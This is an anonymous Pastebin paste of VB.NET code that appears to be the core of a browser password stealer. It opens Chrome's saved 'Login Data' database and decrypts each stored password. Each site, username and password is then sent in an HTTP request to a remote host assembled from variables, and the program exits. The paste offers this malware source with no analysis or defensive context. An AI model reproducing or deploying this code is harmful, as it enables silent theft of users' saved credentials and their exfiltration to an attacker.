Advertisement
Guest User

Main - first part

a guest
Apr 21st, 2016
94
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.37 KB | None | 0 0
  1. Dim datapath As String = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\Google\Chrome\User Data\Default\Login Data"
  2.  
  3. ' Try
  4. Dim SQLDatabase = New SQLiteHandler(datapath)
  5. SQLDatabase.ReadTable("logins")
  6.  
  7. If File.Exists(datapath) Then
  8.  
  9. Dim host, user, pass As String
  10.  
  11. For i = 0 To SQLDatabase.GetRowCount() - 1 Step 1
  12. host = SQLDatabase.GetValue(i, "origin_url")
  13. user = SQLDatabase.GetValue(i, "username_value")
  14. pass = Decrypt(System.Text.Encoding.Default.GetBytes(SQLDatabase.GetValue(i, "password_value")))
  15.  
  16. If (user <> "") And (pass <> "") Then
  17. cPass = ("=======" + id + "=======" & vbNewLine & "Host: " & host & vbNewLine & "Username: " & user & vbNewLine & "Password: " & pass & vbNewLine & "=======" + id + "=======" _
  18. & vbNewLine & " ")
  19.  
  20.  
  21.  
  22. Try
  23.  
  24. Dim request As HttpWebRequest = HttpWebRequest.Create(dom + add + cPass)
  25.  
  26. response = request.GetResponse()
  27.  
  28.  
  29. Catch ex As Exception
  30.  
  31. Finally
  32.  
  33. response.Close()
  34.  
  35.  
  36. End Try
  37.  
  38.  
  39. End If
  40.  
  41.  
  42.  
  43. Next
  44.  
  45. End If
  46. Application.Exit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement